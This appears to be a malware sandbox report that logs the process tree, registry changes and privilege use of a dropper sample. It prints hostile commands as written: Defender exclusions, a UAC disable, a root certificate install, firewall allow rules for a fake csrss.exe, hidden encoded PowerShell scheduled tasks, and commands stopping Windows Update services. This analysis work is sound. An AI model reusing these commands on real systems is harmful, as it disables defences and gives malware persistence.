Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	S0joDFmEKhW9aZs7fblT0cax.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	5Tu2GaEzavAIU49thtakBe4k.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	5Tu2GaEzavAIU49thtakBe4k.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	5Tu2GaEzavAIU49thtakBe4k.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2324	powershell.exe
2236	SYGwPl7w94kZlPlADH5czzf2.exe
2236	SYGwPl7w94kZlPlADH5czzf2.exe
2032	powershell.exe
2236	SYGwPl7w94kZlPlADH5czzf2.exe
2236	SYGwPl7w94kZlPlADH5czzf2.exe
2236	SYGwPl7w94kZlPlADH5czzf2.exe
2236	SYGwPl7w94kZlPlADH5czzf2.exe
2236	SYGwPl7w94kZlPlADH5czzf2.exe
2236	SYGwPl7w94kZlPlADH5czzf2.exe
2236	SYGwPl7w94kZlPlADH5czzf2.exe
2236	SYGwPl7w94kZlPlADH5czzf2.exe
2236	SYGwPl7w94kZlPlADH5czzf2.exe
2236	SYGwPl7w94kZlPlADH5czzf2.exe
2056	updater.exe
2056	updater.exe
1624	powershell.exe
2056	updater.exe
2056	updater.exe
2056	updater.exe
2056	updater.exe
2532	5Tu2GaEzavAIU49thtakBe4k.exe
2056	updater.exe
2056	updater.exe
2056	updater.exe
2056	updater.exe
2040	S0joDFmEKhW9aZs7fblT0cax.exe
2052	0cNLOVDfNfVRx8L5VwPul2iJ.exe
1336	conhost.exe
1336	conhost.exe
2056	updater.exe
2056	updater.exe
924	powershell.exe
1776	powershell.EXE
1336	conhost.exe
1336	conhost.exe
1600	explorer.exe
1600	explorer.exe
1600	explorer.exe
1600	explorer.exe
1600	explorer.exe
1600	explorer.exe
1776	powershell.EXE
1776	powershell.EXE
1600	explorer.exe
2660	S0joDFmEKhW9aZs7fblT0cax.exe
2660	S0joDFmEKhW9aZs7fblT0cax.exe
2660	S0joDFmEKhW9aZs7fblT0cax.exe
2660	S0joDFmEKhW9aZs7fblT0cax.exe
2660	S0joDFmEKhW9aZs7fblT0cax.exe
1600	explorer.exe
1600	explorer.exe
1600	explorer.exe
1704	0cNLOVDfNfVRx8L5VwPul2iJ.exe
1600	explorer.exe
1704	0cNLOVDfNfVRx8L5VwPul2iJ.exe
1704	0cNLOVDfNfVRx8L5VwPul2iJ.exe
1704	0cNLOVDfNfVRx8L5VwPul2iJ.exe
1704	0cNLOVDfNfVRx8L5VwPul2iJ.exe
1600	explorer.exe
1600	explorer.exe
1600	explorer.exe
1600	explorer.exe
1600	explorer.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	2628	InstallUtil.exe
Token: SeDebugPrivilege	2324	powershell.exe
Token: SeDebugPrivilege	2032	powershell.exe
Token: SeShutdownPrivilege	2968	powercfg.exe
Token: SeShutdownPrivilege	1196	powercfg.exe
Token: SeShutdownPrivilege	2004	powercfg.exe
Token: SeDebugPrivilege	1624	powershell.exe
Token: SeDebugPrivilege	2804	YmWdJEsS1RtBob6x9h3TEZqy.exe
Token: SeShutdownPrivilege	1548	powercfg.exe
Token: SeShutdownPrivilege	3068	powercfg.exe
Token: SeShutdownPrivilege	2724	powercfg.exe
Token: SeShutdownPrivilege	1304	powercfg.exe
Token: SeDebugPrivilege	2056	updater.exe
Token: SeDebugPrivilege	2040	S0joDFmEKhW9aZs7fblT0cax.exe
Token: SeImpersonatePrivilege	2040	S0joDFmEKhW9aZs7fblT0cax.exe
Token: SeDebugPrivilege	2052	0cNLOVDfNfVRx8L5VwPul2iJ.exe
Token: SeImpersonatePrivilege	2052	0cNLOVDfNfVRx8L5VwPul2iJ.exe
Token: SeDebugPrivilege	924	powershell.exe
Token: SeLockMemoryPrivilege	1600	explorer.exe
Token: SeDebugPrivilege	1776	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2004 wrote to memory of 2324	2004	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	28
PID 2004 wrote to memory of 2324	2004	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	28
PID 2004 wrote to memory of 2324	2004	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	28
PID 2004 wrote to memory of 2324	2004	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	28
PID 2004 wrote to memory of 2628	2004	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	30
PID 2004 wrote to memory of 2628	2004	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	30
PID 2004 wrote to memory of 2628	2004	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	30
PID 2004 wrote to memory of 2628	2004	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	30
PID 2004 wrote to memory of 2628	2004	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	30
PID 2004 wrote to memory of 2628	2004	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	30
PID 2004 wrote to memory of 2628	2004	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	30
PID 2004 wrote to memory of 2628	2004	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	30
PID 2004 wrote to memory of 2628	2004	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	30
PID 2004 wrote to memory of 2628	2004	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	30
PID 2004 wrote to memory of 2628	2004	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	30
PID 2004 wrote to memory of 2628	2004	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	30
PID 2628 wrote to memory of 1348	2628	InstallUtil.exe	31
PID 2628 wrote to memory of 1348	2628	InstallUtil.exe	31
PID 2628 wrote to memory of 1348	2628	InstallUtil.exe	31
PID 2628 wrote to memory of 1348	2628	InstallUtil.exe	31
PID 1348 wrote to memory of 1880	1348	3l4azoK3W8Xrvm41Thd5vKZN.exe	32
PID 1348 wrote to memory of 1880	1348	3l4azoK3W8Xrvm41Thd5vKZN.exe	32
PID 1348 wrote to memory of 1880	1348	3l4azoK3W8Xrvm41Thd5vKZN.exe	32
PID 1348 wrote to memory of 1880	1348	3l4azoK3W8Xrvm41Thd5vKZN.exe	32
PID 2628 wrote to memory of 2052	2628	InstallUtil.exe	33
PID 2628 wrote to memory of 2052	2628	InstallUtil.exe	33
PID 2628 wrote to memory of 2052	2628	InstallUtil.exe	33
PID 2628 wrote to memory of 2052	2628	InstallUtil.exe	33
PID 1880 wrote to memory of 1080	1880	nhdues.exe	34
PID 1880 wrote to memory of 1080	1880	nhdues.exe	34
PID 1880 wrote to memory of 1080	1880	nhdues.exe	34
PID 1880 wrote to memory of 1080	1880	nhdues.exe	34
PID 1880 wrote to memory of 1184	1880	nhdues.exe	36
PID 1880 wrote to memory of 1184	1880	nhdues.exe	36
PID 1880 wrote to memory of 1184	1880	nhdues.exe	36
PID 1880 wrote to memory of 1184	1880	nhdues.exe	36
PID 1184 wrote to memory of 3044	1184	cmd.exe	38
PID 1184 wrote to memory of 3044	1184	cmd.exe	38
PID 1184 wrote to memory of 3044	1184	cmd.exe	38
PID 1184 wrote to memory of 3044	1184	cmd.exe	38
PID 1184 wrote to memory of 2088	1184	cmd.exe	39
PID 1184 wrote to memory of 2088	1184	cmd.exe	39
PID 1184 wrote to memory of 2088	1184	cmd.exe	39
PID 1184 wrote to memory of 2088	1184	cmd.exe	39
PID 2628 wrote to memory of 2236	2628	InstallUtil.exe	40
PID 2628 wrote to memory of 2236	2628	InstallUtil.exe	40
PID 2628 wrote to memory of 2236	2628	InstallUtil.exe	40
PID 2628 wrote to memory of 2236	2628	InstallUtil.exe	40
PID 1184 wrote to memory of 2752	1184	cmd.exe	41
PID 1184 wrote to memory of 2752	1184	cmd.exe	41
PID 1184 wrote to memory of 2752	1184	cmd.exe	41
PID 1184 wrote to memory of 2752	1184	cmd.exe	41
PID 2628 wrote to memory of 2804	2628	InstallUtil.exe	42
PID 2628 wrote to memory of 2804	2628	InstallUtil.exe	42
PID 2628 wrote to memory of 2804	2628	InstallUtil.exe	42
PID 2628 wrote to memory of 2804	2628	InstallUtil.exe	42
PID 1184 wrote to memory of 2192	1184	cmd.exe	45
PID 1184 wrote to memory of 2192	1184	cmd.exe	45
PID 1184 wrote to memory of 2192	1184	cmd.exe	45
PID 1184 wrote to memory of 2192	1184	cmd.exe	45
PID 1184 wrote to memory of 2296	1184	cmd.exe	43
PID 1184 wrote to memory of 2296	1184	cmd.exe	43
PID 1184 wrote to memory of 2296	1184	cmd.exe	43
PID 1184 wrote to memory of 2296	1184	cmd.exe	43

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1268
- C:\Users\Admin\AppData\Local\Temp\221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe
  "C:\Users\Admin\AppData\Local\Temp\221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe"
  2⤵
  - UAC bypass
  - Windows security bypass
  - Windows security modification
  - Checks whether UAC is enabled
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:2004
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe" -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2324
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    - Drops startup file
    - Loads dropped DLL
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2628
  - - C:\Users\Admin\Pictures\3l4azoK3W8Xrvm41Thd5vKZN.exe
      "C:\Users\Admin\Pictures\3l4azoK3W8Xrvm41Thd5vKZN.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1348
    - - C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1880
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nhdues.exe /TR "C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe" /F
        6⤵
        Creates scheduled task(s)
        
        PID:1080
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nhdues.exe" /P "Admin:N"&&CACLS "nhdues.exe" /P "Admin:R" /E&&echo Y|CACLS "..\1ff8bec27e" /P "Admin:N"&&CACLS "..\1ff8bec27e" /P "Admin:R" /E&&Exit
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1184
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        7⤵
        
        PID:3044
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nhdues.exe" /P "Admin:N"
        7⤵
        
        PID:2088
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nhdues.exe" /P "Admin:R" /E
        7⤵
        
        PID:2752
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\1ff8bec27e" /P "Admin:N"
        7⤵
        
        PID:2296
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\1ff8bec27e" /P "Admin:R" /E
        7⤵
        
        PID:2556
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        7⤵
        
        PID:2192
      - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a967e0f403b652\cred64.dll, Main
        6⤵
        Loads dropped DLL
        
        PID:2368
        
        C:\Windows\system32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a967e0f403b652\cred64.dll, Main
        7⤵
        Loads dropped DLL
        
        PID:3032
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 3032 -s 320
        8⤵
        Loads dropped DLL
        
        PID:2104
      - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a967e0f403b652\clip64.dll, Main
        6⤵
        Loads dropped DLL
        
        PID:836
  - - C:\Users\Admin\Pictures\0cNLOVDfNfVRx8L5VwPul2iJ.exe
      "C:\Users\Admin\Pictures\0cNLOVDfNfVRx8L5VwPul2iJ.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2052
    - - C:\Users\Admin\Pictures\0cNLOVDfNfVRx8L5VwPul2iJ.exe
        
        "C:\Users\Admin\Pictures\0cNLOVDfNfVRx8L5VwPul2iJ.exe"
        5⤵
        Windows security bypass
        Executes dropped EXE
        Loads dropped DLL
        Windows security modification
        Adds Run key to start application
        Checks for VirtualBox DLLs, possible anti-VM trick
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:1704
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        6⤵
        
        PID:2832
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        7⤵
        Modifies Windows Firewall
        Modifies data under HKEY_USERS
        
        PID:2788
      - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        6⤵
        Executes dropped EXE
        
        PID:1668
  - - C:\Users\Admin\Pictures\SYGwPl7w94kZlPlADH5czzf2.exe
      "C:\Users\Admin\Pictures\SYGwPl7w94kZlPlADH5czzf2.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Drops file in Drivers directory
      Executes dropped EXE
      Drops file in Program Files directory
      Suspicious behavior: EnumeratesProcesses
      PID:2236
  - - C:\Users\Admin\Pictures\YmWdJEsS1RtBob6x9h3TEZqy.exe
      "C:\Users\Admin\Pictures\YmWdJEsS1RtBob6x9h3TEZqy.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2804
  - - C:\Users\Admin\Pictures\5Tu2GaEzavAIU49thtakBe4k.exe
      "C:\Users\Admin\Pictures\5Tu2GaEzavAIU49thtakBe4k.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      Modifies system certificate store
      Suspicious behavior: EnumeratesProcesses
      PID:2532
  - - C:\Users\Admin\Pictures\a02rSMFwjEOU0V0gReWyWVqU.exe
      "C:\Users\Admin\Pictures\a02rSMFwjEOU0V0gReWyWVqU.exe" --silent --allusers=0
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2324
  - - C:\Users\Admin\Pictures\NRydrnrIpZ9s0SWegUXg8YIH.exe
      "C:\Users\Admin\Pictures\NRydrnrIpZ9s0SWegUXg8YIH.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2736
    - - C:\Users\Admin\AppData\Local\Temp\7zS6C2B.tmp\Install.exe
        
        .\Install.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:604
      - C:\Users\Admin\AppData\Local\Temp\7zS7733.tmp\Install.exe
        
        .\Install.exe /DVjdidAMFw "385118" /S
        6⤵
        Checks BIOS information in registry
        Executes dropped EXE
        Loads dropped DLL
        Drops file in System32 directory
        Enumerates system info in registry
        
        PID:2564
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        7⤵
        
        PID:2640
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        8⤵
        
        PID:320
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        9⤵
        
        PID:1148
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        9⤵
        
        PID:1964
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        7⤵
        
        PID:1524
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        8⤵
        
        PID:1616
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        9⤵
        
        PID:1552
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        9⤵
        
        PID:2816
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gDxJPXurS" /SC once /ST 00:23:59 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        7⤵
        Creates scheduled task(s)
        
        PID:2676
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gDxJPXurS"
        7⤵
        
        PID:448
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "gDxJPXurS"
        7⤵
        
        PID:2596
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bbEHDLchLvdqsnMPbG" /SC once /ST 01:58:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\SDNLlBhZBiEgoNqFY\NhMYvjPECgLFies\jdxiVKN.exe\" il /RAsite_idFQc 385118 /S" /V1 /F
        7⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:2416
  - - C:\Users\Admin\Pictures\S0joDFmEKhW9aZs7fblT0cax.exe
      "C:\Users\Admin\Pictures\S0joDFmEKhW9aZs7fblT0cax.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2040
    - - C:\Users\Admin\Pictures\S0joDFmEKhW9aZs7fblT0cax.exe
        
        "C:\Users\Admin\Pictures\S0joDFmEKhW9aZs7fblT0cax.exe"
        5⤵
        Windows security bypass
        Executes dropped EXE
        Loads dropped DLL
        Windows security modification
        Adds Run key to start application
        Checks for VirtualBox DLLs, possible anti-VM trick
        Drops file in Windows directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        
        PID:2660
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        6⤵
        
        PID:2488
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        7⤵
        Modifies Windows Firewall
        Modifies data under HKEY_USERS
        
        PID:1208
      - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        6⤵
        Executes dropped EXE
        
        PID:808
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        7⤵
        Creates scheduled task(s)
        
        PID:1968
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        7⤵
        
        PID:2348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2032
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:1512
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1992
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1324
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:748
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:2260
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:3016
